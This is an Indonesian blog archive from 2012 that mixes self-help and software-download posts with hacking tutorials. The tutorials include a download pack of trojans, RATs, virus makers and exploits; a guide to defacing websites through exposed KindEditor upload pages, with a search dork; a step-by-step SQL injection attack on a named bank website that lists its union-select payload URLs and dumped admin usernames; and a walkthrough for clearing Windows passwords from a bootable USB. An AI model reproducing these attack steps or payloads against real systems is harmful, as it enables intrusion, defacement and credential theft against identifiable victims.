Rabu, 12 September 2012

OllyDbg 2.0

Posted Image



ollydbg = olly debugger made by oleh yuschuk

adalah program debugger/killer.
program yang serupa adalah (softice, ida,...)

program ini digunakan untuk tujuan cracking (educative).
bos pernah download/mencari keygen dari suatu software ?

*****/patch/keygen/serial didapat dari proses debugging dari software ini (most)
adapun tool untuk membuat patch seperti : diabloo's universal patcher
dan untuk keygen : mesti membuat pure new program seperti : c++, delphi, etc.

susah jelasinnya... tapi kurang lebih seperti itu


-------------------------
Untuk lebih detailnya; siapa tahu jagonya mau jelasin detilnya Posted Image



Link Downloadnya

Minggu, 09 September 2012

Mengatasi Rasa Rendah Diri


mengatasi rendah diri
Perasaan rendah diri bisa membunuh kita. Tentunya bukan dalam pengertian membunuh secara fisik, melainkan membunuh karakter pribadi. Membunuh motivasi Orang yang rendah diri cederung menarik diri dari lingkungan. Kalaupun berbaur dengan orang lain, dia memposisikan dirinya di pojok ruangan yang nyaris tidak kelihatan. Orang-orang rendah diri tidak berani untuk menunjukkan ‘siapa dirinya’ dan ‘apa yang bisa dilakukannya’ lebih baik dari orang lain. Bukankah ini seperti sebuah kematian? Ya, kematian nilai diri seseorang.
Sifat rendah diri itu seperti keran air yang karatan. Dia sangat sulit untuk dibuka, sehingga air tidak bisa mengalir dengan lancar. Ada begitu banyak persediaan air dalam bak penampungan diatas atap, tetapi tidak bisa keluar karena alirannya terhalang oleh keran yang tersumbat. Ada begitu banyak persediaan potensi diri yang kita miliki, namun terkunci oleh perasaan rendah diri yang menghambat.
Bagi Anda yang tertarik untuk belajar mengatasi rasa rendah diri, saya ajak untuk memulainya dengan menerapkan 5 kemampuan Natural Intelligence berikut ini:

1. Menghargai diri sendiri.
Penyebab utama perasaan rendah diri bukanlah cara orang lain memperlakukan kita, melainkan bagaimana cara kita memberikan penghargaan kepada diri sendiri. Jika Anda sendiri menghargai diri sendiri dengan baik, orang lain tidak akan berhasil menjatuhkan mental Anda; sekalipun mereka berusaha untuk merendahkan Anda. Namun sebaik apapun orang lain memperlakukan Anda, jika Anda sendiri memandang rendah kepada diri sendiri maka Anda tetap akan menjadi pribadi yang rendah diri. Untuk bisa mengatasi rasa rendah diri kita harus mulai dengan cara menghargai diri sendiri dengan sepantasnya terlebih dahulu.

2. Mengambil kendali atas hidup Anda.
Mari perhatikan lagi orang-orang disekitar kita. Ada orang-orang yang wajahnya tidak secantik atau setampan kita. Pendidikannya tidak setinggi kita. Penampilannya tidak sebonafid kita. Tetapi mereka begitu percaya diri. Mereka tidak menghiraukan cibiran orang lain. Mereka tidak memperdulikan pandangan yang meremehkan. Walhasil, mereka dapat berkarya semaksimal mungkin, lalu menghasilkan pencapaian yang tinggi. Apakah Anda bisa menemukan orang yang seperti itu? Mereka telah membuktikan bahwa kemudi hidup berada dalam kendalinya, bukan ditentukan oleh penilaian orang lain atas dirinya. Dengan mengambil kendali hidup, mereka berkonsentrasi kepada usaha-usahanya. Meski pada awalnya berat, namun di garis akhir mereka mendapatkan penghargaan yang tinggi. Bahkan dari orang-orang yang sebelumnya menyepelekan.

3. Mengimbangi kekurangan dengan kelebihan diri.
Keliru jika kita mengira orang lain lebih beruntung dari diri kita. Faktanya, setiap orang memiliki kekurangan dan kelebihannya masing-masing. Orang-orang yang rendah diri adalah mereka yang terkurung dalam zona kekurangan dirinya sambil membiarkan potensi dirinya tersia-siakan. Sebaliknya, orang-orang yang berhasil bukanlah mereka yang tidak memiliki kekurangan, melainkan yang senantiasa berfokus pada usaha untuk mengoptimalkan kelebihan yang dimilikinya. Mereka menyadari kekurangan dirinya, namun mengimbangi kekurangan itu dengan kelebihan dirinya.

4. Mengembangkan diri tiada henti. Diatas gunung ada gunung.
Bahkan sekalipun Anda seorang yang percaya diri, bisa jadi merasa rendah diri ketika berhadapan dengan orang lain yang tingkatannya lebih tinggi dari Anda. Seorang Manager mungkin merasa lebih superior dihadapan para staffnya. Namun, ketika berhadapan dengan para direktur? Gemetaran juga, bukan? Hal itu bisa diatasi dengan usaha mengembangkan diri secara terus menerus. Faktanya, orang lebih menghormati kemampuan seseorang daripada jabatan yang disandangnya. Meski jabatan Anda tinggi, jika kapasitas aktual Anda tidak sepadan; orang lain akan meremehkan Anda. Tetapi, sekalipun jabatan Anda biasa saja; jika Anda bisa menunjukkan kapasitas diri yang tinggi, orang tetap menghargai Anda.

5. Berkontrisbusi kepada orang lain.
Fakta menunjukkan jika siapapun sangat menyukai orang-orang yang memberi kontribusi. Ketika seseorang mampu berkontribusi, dia langsung dihormati tanpa ditanya; berapa banyak uang yang Anda miliki? Seseorang yang berkontribusi dimuliakan tanpa dipermasalahkan apakah hidungnya mancung atau pesek, apakah dia seorang pejabat atau rakyat. Jika hidup kita masih dirundung rasa rendah diri, itu mungkin karena kita belum berkontribusi. Berkontribusilah kepada orang lain, maka Anda akan dihormati. Kemudian dengan kehormatan yang Anda dapatkan itu, rasa rendah diri akan sirna dengan sendirinya.
Setiap manusia sama kedudukannya. Yang membedakan adalah; apakah dia bisa memberi manfaat atau tidak. Guru kehidupan saya bahkan mengajarkan bahwa: ”sebaik-baik manusia adalah dia yang paling banyak memberi manfaat kepada orang lain.” Betapa bangganya kita ketika bisa memberi manfaat. Ini bukan tentang rasa bangga dihadapan sesama manusia, melainkan kebanggaan dihadapan Tuhan. Karena dengan manfaat yang kita tebarkan, kita ikut menunjukkan; betapa Tuhan itu senang menebarkan kebaikan.
***

Free Download 45 Hacker Tool Set



Update..update..
sudah beberapa bulan ini sangat sulit sekali update :(
tetapi niatan blog ini memacu terus untuk update heheheh
mau posting apa yaaa?

gag tau nii.
saya kedapatan ide posting alat2 alias tool-tool hhehehehe
ini monggo dilihat menunya :p



• IMC Grahams Trojan
• IMC Ice Dragon
• Myspace Password Cracker
• IMC Myspace Phisher
• Ultra Surf
• Rapid Share Account Gen
• MSN Nudge Madness
• Ice Reloaded MSN Freezer
• IMC Handbook
• BrutusAE2
• Lord PS
• Hoax Toolbox
• IMC Word List
• Blues Port Scanner
• Bandook RAT v1.35
• Project Satan 2.0
• EES binder v1.0
• File Injector v3
• Remote Desktop Spy v4.0
• Passive Terror v1.3 Final Edition
• Dyn-DL (Dynamic downloader)
• Silent Assassin v2.0
• Net Scan Tools v4.2
• Rocket v1.0
• NStealth HTTP Security Scanner v5.8
• Attack Toolkit v4.1 & source code included
• Legion NetBios Scanner v2.1
• Battle Pong
• TeraBIT Virus Maker v2.8
• p0kes WormGen 2.0
• JPS Virus Maker
• IRC Ban Protection
• IRC Mega Flooder
• FTP Brute Hacker
• RAR Password Cracker
• Vbulletin 3.6.5 Sql Injection Exploit
• IPB 2-2.1.5 Sql Injection Exploit
• IPB 2-2.1.7 Exploit
• Cain & Abel v4.9.3
• NetStumbler 0.4.0
• Cryptor 1.2
• VNC Crack
• Hamachi 0.9.9.9
• pbnj-1.0
• Mutilate File Wiper 2.92


monggo download ten mriki :
cuma sekitar 30 MB :))

http://kewlshare.com/dl/6acd3be5c2e8/IMC_Tools_HACKPACK.rar.html


Sumber : http://pedasmaniscinta.blogspot.com/

Rabu, 29 Agustus 2012

Cara Deface Web Dengan Teknik Web KindEditor

 




Cara Deface Web Dengan Teknik Web KindEditor - askum , kali ini kita bicara tentang deface lagi, yaitu dengan teknik web kindeditor , trik ini adalah trik paling mudah untuk ngedeface web , kita hanya perlu mengupload file html kita ke website korban , trik ini terbilang mudah gak percaya ? langsung saja simak

Berikut Langkah - Langkah Cara Deface Web Dengan Teknik Web KindEditor

1. Siapkan File Deface .html
2. ketikkan inurl:examples/uploadbutton.html di google
 

3. buka salah satu web nya , cth http://staic.qefeng.com/Kindeditor/examples/uploadbutton.html
 

4. klik upload , dan cari lokasi file deface anda .html 
5. ketika selesai , copy url yng ad di upload buton dan paste di address bar ,
cth 
web awal http://staic.qefeng.com/Kindeditor/examples/uploadbutton.html 
hasil upload /Kindeditor/attached/file/20120830/20120830125223_17605.html
 


mudah bukan  ? selamat ngedeface


Sumber : http://myhafiezers.blogspot.com/2012/08/cara-deface-web-dengan-teknik-web.html

Cara Cari Uang Di Internet Via Jual Produk Online

Saat ini semakin banyak orang yang ingin tahu cara cari uang di Internet. Ada banyak ragam kegiatan cari uang di Internet saat ini, tapi salah satu cara yang banyak dipilih adalah dengan menjual produk secara online. Saat ini anda bisa melihat begitu banyak penawaran seperti gadget, tas, aksesoris, pulsa, dan masih banyak lagi. Mungkin ada di antara anda para pengunjung blog ini yang tertarik dengan metode jualan online ini.

Pertanyaan pertama: Produk apa yang ingin anda jual?

Alangkah baiknya jika anda mempunyai produk sendiri agar anda bebas mengatur segala sesuatunya. Akan tetapi, jika anda tidak punya produk sendiri anda bisa menjadi agen yang menjual produk orang lain. Biasa juga kita menyebut ini sebagai bisnis afiliasi.
Anda ragu rekan bisnis afiliasi anda di dunia maya sulit dipercaya? Kalau begitu carilah partner bisnis di dunia nyata. Jika anda punya keluarga atau kenalan yang jualan di mall, anda bisa menjalin kerjasama dengan menjual produk-produk mereka secara online. Anda bisa menambahkan sedikit harga jual di atas harga yang diberikan kenalan anda. untuk menjadi keuntungan anda.

Pertanyaan kedua: Sudah siapkah sistem anda?

Sistem ini sangat penting, karena ini adalah nadi yang menggerakkan bisnis online saudara. Sistem mengatur bagaimana konsumen bisa memesan produk anda, bagaimana anda memenuhi keinginan konsumen dan bagaimana anda mendapatkan keuntungan dari semua aktifitas bisnis online ini. Jika anda ingin melayani skala nasional, maka anda harus bisa menemukan jasa kurir yang terpercaya dan mempelajari sistem pengiriman hingga bisa menawarkan ongkos kirim yang cukup murah.

Pertanyaan ketiga: Metode apa yang ingin anda gunakan?

Sekarang anggap saja anda ingin menjual tas secara online. Otomatis anda harus memikirkan metode apa yang ingin anda gunakan untuk "memajang" produk tersebut di dunia maya. Saat ini ada berbagai metode yang bisa anda pilih, seperti:
  • Membuat blog atau website dan membiarkan pengunjung dari search engine seperti Google menemukan produk anda
  • Membuat halaman khusus di facebook dan mengundang banyak orang
  • Mempromosikan website anda dengan layanan Adsense
  • Membuka sistem affiliasi agar semakin banyak yang mempromosikan produk-produk anda
Jika anda membuat blog atau website maka ada baiknya anda melakukan optimisasi pada blog anda sehingga blog anda ditayangkan pada halaman pencarian Google. Untuk melakukan optimisasi pada blog anda silahkan baca artikel checklist SEO.
SEO benar-benar bisa membantu mempermudah bisnis online anda. Apapun cara cari uang di internet yang anda tempuh,....SEO pasti bisa membawa lebih banyak pembeli kepada anda. Kenapa? Karena pengunjung yang datang dari mesin pencari seperti Google biasanya memang sudah niat untuk membeli. Jadi lebih mudah bagi website anda untuk mengubah mereka menjadi pembeli.
Jika anda menggunakan blog untuk mencari uang dari internet, maka anda wajib mengenal yang namanya riset kata kunci. Saya sangat merekomendasikan anda untuk membaca artikel Bagaimana Cara Melakukan Riset Kata Kunci?
Kenapa riset ini penting? Karena setiap kata kunci memiliki jumlah pencarian yang berbeda-beda. Dalam hal bisnis, tentu anda ingin menggunakan kata kunci yang paling banyak dicari oleh para pengguna Google. Google menyediakan alat ini agar kita bisa mengetahui jumlah orang yang mencari suatu kata kunci.
Jika anda sudah mengetahui kata kunci yang paling banyak dicari oleh pengguna Google, maka buatlah artikel anda dengan menggunakan kata kunci tersebut. Pastikan judul artikel yang anda gunakan itu menarik orang untuk mengklik artikel yang anda buat.
Selain itu artikel penawaran produk pun harus anda buat dengan seksama. Gunakanlah kata-kata yang bisa membangkitkan mood pembacanya untuk membeli produk-produk anda. Pastikan juga anda menggunakan gambar yang menarik dan warna yang cemerlang. Jangan sampai produk tidak laku hanya karena fotonya buram.
Kalau anda juga menggunakan facebook atau twitter, maka pastikan ada memposting produk anda berkali-kali dalam sehari, karena dinding beranda dari kedua social network ini sangatlah dinamis, hanya dalam 15 menit hingga 1 jam, produk anda sudah akan lenyap dari beranda orang-orang yang menjadi potensi pasar anda.
Jadi jika menjual produk online adalah cara cari uang di internet yang anda pilih, maka ketiga faktor di atas harus dipersiapkan dengan baik. Lakukan secara perlahan saja, karena efek bola salju akan terjadi jika anda melakukannya dengan benar. Semakin besar traffic blog anda, maka semakin besar juga potensi keuntungan yang bisa diraih.

Quran Auto Reciter


Software sederhana namun cukup canggih yang wajib untuk di miliki oleh setiap umat muslim!
Software ini dapat membantu anda untuk belajar "membaca" sambil "mendengarkan" Al-Qur'an. Quran Auto Reciter juga di lengkapi dengan pengingat "sholat 5 waktu".

Download softwarenya melalui link ini

Cara Mereset Password BIOS Pada Laptop


Jika anda tidak dapat mengakses laptop setelah diaktifkan, itu berarti penggunaan laptop harus melewati password BIOS. Password BIOS disimpan dalam memori CMOS yang sumber daya yang dipelihara oleh baterai kecil ketika PC dimatikan, menempel di suatu tempat tertentu atau terpasang ke motherboard. Jika pengguna membuka baterai ini, semua informasi CMOS (termasuk password BIOS) akan hilang. Pengguna harus memasukkan kembali informasi CMOS setup yang benar untuk menggunakan laptop.

Ada saat tertentu ketika baterai laptop disolder ke motherboard, sehingga sulit untuk dihapus. Jika ini terjadi, biasanya ada alternatif lain yang berada di tempat pada motherboard ada jumper yang akan menghapus password BIOS. Jika Anda memiliki dokumentasi motherboard laptop Anda, kemudian bias dengan mudah menemukan jumper ini. Jika tidak, jumper dapat diberi label pada motherboard. Jumper ini biasanya berdiri sendirian di dekat baterai kecil. Jika pengguna tidak dapat menemukan jumper, masih mungkin untuk melihat pada titik-titik di mana baterai terhubung ke motherboard.

Jika Anda melihat gambar di atas, ternyata ada 3 kaki jumper cmos. Pada gambar di atas, jika jumper ditempatkan pada posisi 1, maka itu adalah keadaan normal. Jika jumper dibuka dan ditempatkan pada CLRTC, maka akan menghapus semua data pada pengaturan BIOS

Cara Reset Password BIOS melalui SoftwareIf di atas dua cara reset password, apa pilihan terakhir? Kami akan menggunakan software reset password BIOS. Sebagian besar pengguna laptop lebih memilih cara terakhir. Setiap Laptop menyimpan informasi password BIOS di suatu tempat. Jika pengguna dapat mengakses laptop setelah telah boot berhasil, pengguna mungkin dapat melihat password BIOS. Namun pengguna harus mengetahui alamat memori dimana password BIOS disimpan dan format di mana password BIOS disimpan atau memiliki program untuk mengetahui hal-hal.

BIOS adalah software yang dapat berjalan di jendela DOS untuk menghapus password BIOS. Hal ini biasanya digunakan di BIOS: IBM, American Megatrends Inc, Award, dan Phoenix.. Sayangnya, banyak pengguna laptop takut layar hitam. Silahkan download software ini, keberadaan bebas.
KeyDisk sering digunakan untuk laptop Toshiba reset password. Silakan kunjungi alamat dan membaca tutorial.

CmosPwd dapat memulihkan beberapa password BIOS seperti:
  1. ACER / IBM BIOS
  2. AMI BIOS
  3. WinBIOS AMI 2.5
  4. Award 4.5x/4.6x/6.0
  5. Compaq (1992)
  6. Compaq (New version)
  7. IBM (PS / 2, Activa, Thinkpad)
  8. Packard Bell
  9. 1.00.09.AC0 Phoenix (1994), a486 1:03, 1:04, 1:10 A03, 1.02.943 rev 4:05, rev 4:06 13/1/1107
  10. Phoenix 4 release 6 (User)
  11. Gateway Solo - Phoenix 4.0 release 6
  12. Toshiba
  13. Zenith AMI 
Demikian Trik dari saya semoga bermanfaat.

Selasa, 28 Agustus 2012

Hack Website menggunakan SQL injection

Hai teman teman berikut ini adalah cara Web attack (hack website) menggunakan cara SQL injection. Ok langsung saja bisa kamu lihat di bawah ini :

1. Menemukan target

Kita dapat menemukan calon korban dengan bantuan search engine (Google masih yang terbaik) dengan memanfaatkan pola-pola tertentu. Pola-pola inilah yang disebut dengan Dork. Dork yang kita gunakan adalah untuk mencari pola yang berhubungan dengan SQL (Database) maka dork ini sering juga disebut dengan SQL Dork.

N0LDR
“Hal di atas merupakan alasan kuat bagi Admin untuk selalu update dengan isu keamanan karena kita bias saja menjadi korban walaupun kita tidak memiliki musuh. Dengan masuk ke daftar hasil pencarian maka kita telah menjadi calon korban”

Perlu diketahui, dengan dork yang sama belum tentu kita mendapatkan calon korban yang sama ! Untuk tutorial ini, saya menggunakan Dork (Google bisa lebih banyak memberikan SQL Dork kepada anda dari pada diri saya sendiri ):

Dork-Dork bisa kamu lihat disini Kumpulan Dork SQL Injection Update 2010

Dari sekian banyak calon korban, maka:
http://www.bankpapua.com/kantor.php?jenis=2
merupakan target saya pada tutorial sederhana ini.

N0LDR
“Target sengaja tidak saya sensor agar PoC (Proof of Concept) pada tutorial ini jelas. Kepada para pembaca saya harapkan untuk tidak melakukan tindakan pengerusakan di kemudain hari pada web site ini. Ingat, dengan melakukan pengerusakan berarti anda membunuh karier terhormat anda di masa depan. Pergunakanlah sebatas pembelajaran”


2. Mencari celah kelemahan

Pengujian apakah calon korban memiliki kelemahan SQL atau tidak. Kita dapat menambahkan karakter minus (-) atau petik tunggal (‘) [tergantung pada sistem (- atau ‘)]pada query yang ada. Jika kita mendapatkan error berarti calon korban memiliki kelemahan terlepas dari bisa di injeksi lebih lanjut atau tidak.

(-) ditambahkan sebelum item pada query seperti berikut:
http://www.bankpapua.com/kantor.php?jenis=-2
(‘) ditambahkan sesudah item pada query seperti berikut:
http://www.bankpapua.com/kantor.php?jenis=2’

Pada tutorial ini, teknik kedua yang memunculkan error! (berarti web site target memiliki kelemahan SQL Injection. Error yang kita dapatkan adalah:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/sloki/user/u8543b/sites/bankpapua.com/www/kantor.php on line 118


3. Mendapatkan jumlah kolom

Tahap selanjutnya adalah mendapatkan jumlah kolom pada tabel aktif. Tekniknya adalah dengan menggunkan perintah order by sebagai berikut:

http://www.bankpapua.com/kantor.php?jenis=2+order+by+1--
http://www.bankpapua.com/kantor.php?jenis=2+order+by+2--
http://www.bankpapua.com/kantor.php?jenis=2+order+by+3--
http://www.bankpapua.com/kantor.php?jenis=2+order+by+4--
http://www.bankpapua.com/kantor.php?jenis=2+order+by+5--
.
.
.
Kita lakukan pengujian satu persatu (boleh dilompat) hingga kita mendapatkan error yang berarti jumlah kolom terakhir (yang tidak error) merupakan jumlah kolom pada tabel aktif. Pada tutorial ini, kita mendapatkan error pada pengujian ke-6.

http://www.bankpapua.com/kantor.php?jenis=2+order+by+6--

Kita mendapatkan error:


Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/sloki/user/u8543b/sites/bankpapua.com/www/kantor.php on line 118

Berarti jumlah kolom pada tabel aktif adalah 5 (pengujian terakhir yang tidak error)


4. Mendapatkan angka keberuntungan

Angka keberuntungan adalah angka yang dimunculkan oleh sistem yaitu angka antara range jumlah kolom aktif (dalam kasus ini 1-5). Perintah yang kita gunakan adalah union select sebagai berikut:


http://www.bankpapua.com/kantor.php?...C2%2C3%2C4%2C5--

[Jangan lupa menambahkan karakter minus (-) pada awal key (pada kasus kita, key adalah 2)]. Kita mendapatkan angka 1,2,3, dan 4. Di angka-angka inilah tempat kita melakukan query.


5. Mendapatkan versi database server

Dapatkan versi server SQL (dalam kasus ini, MySQL) dengan perintah version(), atau @@version. Kita gunakan version() dan kita pilih angka 4:

http://www.bankpapua.com/kantor.php?...%2C3%2Cversion(),5--

Kita mendapatkan 5.0.51a-24+lenny4 yang berarti MySQL versi 5. Kita sedikit beruntung karena menemukan versi 5 jika versi 4 maka tahap berikutnya adalah “Tebak-tebak buah nanas”.


6. Mendapatkan nama tabel

Gunakan perintah group_concat(table_name) dengan penyeleksian dari information_schema.tables sebagai berikut:

http://www.bankpapua.com/kantor.php?...2Cgroup_concat(table_name),5+from+information_schema.tables+wher e+table_schema=database()--

Kita mendapatkan nama-nama tabel sebagai berikut:
adunasabah,agenda,anual,atm,atmprima,atmsama,berit a,birate,bunga,
galery,kantor,karir,kontak,konter,kurs,lapkeu,link ers,manajemen,pesertaquiz,
polling_d,polling_h,produk,promo,quiz_peserta,quiz _soal,regulasi,tamu,users. Dari sekian banyak kita pilih tabel users namun harus dikonversi ke heksadesimal terlebih dahulu. Silahkan kunjungi:

http://www.dolcevie.com/js/converter.html

kemudian kita mendapatkan (titik dua ( tidak diikutsertakan) users(ascii) -> 7573657273(hex)


7. Mendapatkan nama kolom

Gunakan perintah group_concat(column_name) dengan penyeleksian dari information_schema.columns sebagai berikut:

http://www.bankpapua.com/kantor.php?...2Cgroup_concat(column_name),5+from+information_schema.columns+wh ere+table_name=0x7573657273--

0x7573657273 kita dapatkan dengan menggabungkan 0x dengan 7573657273 (hasil konversi tadi). Kita mendapatkan nama-nama kolom sebagai berikut:
ids,username,password,fullname,address,a_add,a_edi t,a_del,topadmin,akses. Kita pilih username dan password.


8. Mendapatkan Data

Gunakan perintah group_concat(username,0x3a,password) dengan penyeleksian tabel users tadi sebagai berikut:

http://www.bankpapua.com/kantor.php?...2Cgroup_concat(username,0x3a,password),5+from+users--

Kita mendapatkan:

webmaster:    †¥²¯d”¥´¹¥¥¨±¬²»©¦£vttz
sdm:         †¥²¯d”¥´¹¥•¨±uvw
sekper:           †¥²¯d”¥´¹¥•©¯´©¶uvw

Terenkripsi   Tahap berikutnya adalah mendapatkan plain text dari password yang terenkripsi, google! Setelah dapat, cari halaman admin kemudian login dengan account webmaster, Anda telah berhasil take over http://www.bankpapua.com/

N0LDR
“Tutorial ini hanya sebagai pembelajaran semata. Hacking is good”
sumber : jasakom.com

Cara Hack Password Admin/User Windows 7 dan Windows XP

Halo agan-agan 
Gw mau berbagi ilmu tentang cara membobol password admin / user buat di Windows XP maupun Windows 7 
Yg agan butuhin buat ngehack kagak banyak kok; 1 batang usb flashdisk minimal 1 gb, dan sebuah software bernamaUSB_Password_Resetter. Untuk softwarenya silakan agan download dulu di sini.
Langkah-langkahnya:

  1. Extract dulu filenya, setelah diextract akan muncul sebuah folder yg di dalamnya terdapat sembilan buah file.
  2. Copy sembilan file tsb ke dalam space utama USB flashdisk lo. Jangan dimasukin ke dalam folder / directory!
  3. Install file "syslinux" ke dalam USB, dengan cara:
    1. Buka command prompt (Start\All Programs\Accessories\Command Prompt)
    2. Ketik f: lalu tekan enter
    3. Ketik syslinux.exe -ma f: lalu tekan enter
    4. Untuk langkah 2 dan 3, ganti huruf f tsb dengan nama drive USB lo. Misal, jika USB lo dikenali sebagai drive G, maka pada langkah kedua dan ketiga huruf diganti menjadi huruf g.
  4. Cabut USB flashdisknya, dan masukin tuh flashdisk ke dalam PC yg mau dihack passwordnya (PC dalam keadaan mati)
  5. Nyalakan PC tsb. Buatlah agar PC tsb booting menggunakan USB lo dengan menekan F4 atau F10 atau F11 atau apalah, setiap PC beda-beda, lo cobain aja satu-satu
  6. Kalo udah berhasil booting pake USB, akan muncul tampilan kaya gambar dibawah.Lo bakal disuruh milih di mana letak sistem windows. Dalam contoh ini, windows terletak pada pilihan drive kedua.


     
  7. "2" lalu tekan enter.
  8. Setelah itu akan muncul tampilan seperti gambar di bawah.


     
  9. Tekan enter saja.
  10. Kemudian lo dikasih pilihan apa yg lo mau lakuin. Dalam contoh ini kita akan me-reset password.

     
  11. Ketik "1" lalu tekan enter.
  12. Kemudian pilih "Edit user data and passwords


     
  13. "Ketik "1" lalu tekan enter.
  14. Berikutnya, kita ditunjukkan sebuah tabel yg berisi daftar nama user beserta apakah tuh user admin ato bukan.Ketikan nama user yg pengen lo edit. Dalam contoh ini, gw mau ngedit user yg bernama "WS Training"


     
  15. Ketik "WS Training" (dalam contoh ini) lalu tekan enter.
  16. Selanjutnya lo dikasih pilihan apa yg akan lo lakuin terhadap user tsb:
    1. Clear User Password
    2. Edit User Password
    3. Promote User
    4. Unlock & Enable User AccountKalo berdasar pengalaman gw, gw saranin lo pilih yg nomer 1 atau 2 aje, habis yg nomer 3 dan 4 ada kemungkinannya gagal. Meskipun, dalam contoh ini gw mau ngehapus password yg udah ada (nomer 1)


       
    5. Ketik "1" lalu tekan enter.
  17. Akan ada pemberitahuan "Password Cleared!


     
  18. "Ketik "!" lalu tekan enter.
  19. Akan muncul tampilan seperti gambar di bawah.


     
  20. Ketik "q" lalu tekan enter.
  21. Akan muncul tampilan seperti gambar di bawah.


     
  22. Ketik "y" lalu tekan enter.
  23. Akan ada pemberitahuan *****Edit Complete*****


     
  24. Tekan enter saja.
  25. Tekan Ctrl + Alt + Del (Untuk restart PC lo), dan cabut USB lo.

Sekarang coba buka user yg udah lo edit tadi, passwordnya hilang gan! 

Senin, 27 Agustus 2012

Avira (masih) mendeteksi .co.cc sebagai malware

Bagi anda yang menggunakan jasa dari domain .co.cc, patut cemas. Pasalnya, hingga saat ini Avira masih masih mendeteksi domain tersebut sebagai salah satu malware. Sebelumnya domain ini pernah dibanned oleh raksasa search engine, google. Kini (saat tulisan ini dibuat) Avira masih mendeteksi domain ini sebagai salah satu malware. Saya sudah mencoba mengunjungi salah satu website yang berdomisili di .co.cc. Ketika dikunjungi, malah ada satu peringatan oleh Avira. Hal ini sebenarnya bisa diatasi dengan menghilang tanda centang pada web protection Avira atau menyertakan url blog pada list exception avira. Dengan cara ini, kita masih bisa melihat website tersebut, tetapi tetap saja ini pasti akan berdampak pada trafik blog itu sendiri. Pertanyaannya sekarang, apakah pembaca mau melakukan trik diatas??

Bagi anda yang penasaran, saya juga sertakan screenshootnya.
Hasilnya seperti ini:

Avira (masih) mendeteksi .co.cc sebagai malware

Avira merupakan salah satu antivirus terbaik yang banyak digunakan. Oleh karena itu , anda yang menggunakan domain .co.cc patut cemas. Kita semuanya tentunya berharap agar teman teman blogger yang menggunakan .co.cc bisa blogging seperti semula.

Dns Jumper V1.0.4 Portable


Sedikit ulasan apa itu DNS, DNS adalah (Domain Name System) adalah sebuah sistem yang menyimpan informasi tentang nama host maupun nama domain dalam bentuk basis data tersebar (distributed database) di dalam jaringan komputer, misalkan: Internet. DNS menyediakan alamat IP untuk setiap nama host dan mendata setiap server transmisi surat (mail exchange server) yang menerima surat elektronik (email) untuk setiap domain.

Mengganti DNS pada komputer merupakan salah satu trik untuk mempercepat koneksi internet untuk menganti secara manual dapat melalui menu Program – Show All Connections. Namun bagi anda yang ingin lebih praktis, anda dapat menggunakan bantuan software ini yaitu DNS Jumper v1.0.4.

DNS Jumper adalah sebuah aplikasi ringan untuk mengubah DNS pada komputer dengan mudah dan sangat cepat. DNS Jumper juga menyediakan banyak daftar Server DNS seperti Google DNS, Open DNS, Ultra DNS, Exatel, Century, Cisco, Open Nic dan masih banyak lainnya. Dan Aplikasi ini bisa digunakan secara Portable tanpa harus diinstal pada komputer anda.

DNS Jumper juga memberikan fitur untuk melakukan pengecekan Respon Time pada tiap-tiap daftar server DNS yang tersedia pada aplikasi tersebut, sehingga nantinya anda bisa memilih Server DNS apa yang anda anggap paling cepat. Dan jika anda memiliki daftar DNS sendiri yang tidak ada didalam aplikasi ini, anda juga bisa memasukkannya secara manual.

Key features for “DNS Jumper 1.0.4 :

* You can choose your network card
* Add/modify custom DNS
* You can change the language
* Customize DNS manually
* Benchmark DNS IPs and measure time reaction
* Flush DNS button available
* Test the fastest DNS

Download Dns Jumper V1.0.4 Portable [443KB]

Any Video Converter 3.4.2

Any Video Converter adalah program yang memungkinkan mengkonversi video dengan kecepatan dan kualitas video yang sangat baik. Hal ini memungkinkan Anda untuk dengan mudah mengkonversi file video setiap format! Hal ini dapat mengkonversi hampir semua format video termasuk DivX, XviD, MOV, rm, rmvb, MPEG, VOB, DVD, WMV, AVI ke MPEG-4 format film untuk iPod / PSP atau perangkat video portabel lainnya, MP4 player atau ponsel pintar. Ini juga mendukung semua pengguna didefinisikan sebagai format file video output. Any Video Converter memudahkan bagi siapa 
 saja untuk menikmati video format apapun dengan iPod, PSP, ponsel atau MP4 player.
User-friendly interface yang mudah digunakan.
Mengkonversi semua format video ke Video Apple iPod, Sony PSP dan lebih
Batch mengkonversi format video termasuk avi, wmv, asf, mpg, mp4, dll
Dukungan DivX dan Xvid avi format sebagai mengimpor dan mengekspor video yang
Dukungan standar video / audio pengaturan atau parameter pengguna disesuaikan untuk video dan audio.
Memiliki pilihan untuk melihat video secara real-time sebelum konversi.
Dunia video yang tercepat konversi kecepatan dengan video yang menakjubkan dan kualitas audio.
Mendukung menyesuaikan banyak video / pilihan audio untuk file MP4. Misalnya, video / audio yang sample rate, bit rate, ukuran video …

Sistem: Windows XP / Vista / 7

Download: Free | EXE | 28 Mb |
Info: http://www.any-video-converter.com/

MySQL 5.5.27



MySQL Community Edition adalah versi bebas yang dapat didownload dari database open source paling populer di dunia yang didukung oleh komunitas yang aktif dari pengembang open source dan penggemarnya.
MySQL memberikan fitur perusahaan, termasuk:

· Partisi untuk meningkatkan kinerja dan pengelolaan lingkungan database yang sangat besar
· Replikasi Row-based/Hybrid untuk keamanan replikasi yang ditingkatkan
· Event Scheduler untuk membuat dan jadwal pekerjaan
· Dukungan XPath
· Load Testing Utility (mysqlslap)
· Full Text Search (lebih cepat, dev template baru)
· Arsip mesin (kompresi lebih baik, lebih banyak fitur)
· Pengguna sesi dan identifikasi masalah SQL
· Perpustakaan MySQL (libmysqld)
· Tambahan INFORMATION_SCHEMA objek
· Lebih cepat impor operasi data (load file paralel)
· Transaksi ASAM untuk membangun aplikasi bisnis yang handal dan aman
· Stored Prosedur untuk meningkatkan produktivitas pengembang
· Pemicu untuk menegakkan aturan bisnis yang kompleks pada tingkat database
· Tampilan untuk memastikan informasi sensitif
· Schema informasi untuk menyediakan akses mudah ke metadata
· Penyimpanan pluggable Mesin Arsitektur untuk fleksibilitas maksimum
· Arsip Storage Engine untuk data historis dan audit

Sistem: All Windows


Download: Free | ZIP | 30 Mb |

Info: http://www.mysql.com/

Sabtu, 25 Agustus 2012

Kisah 1001 Kelereng

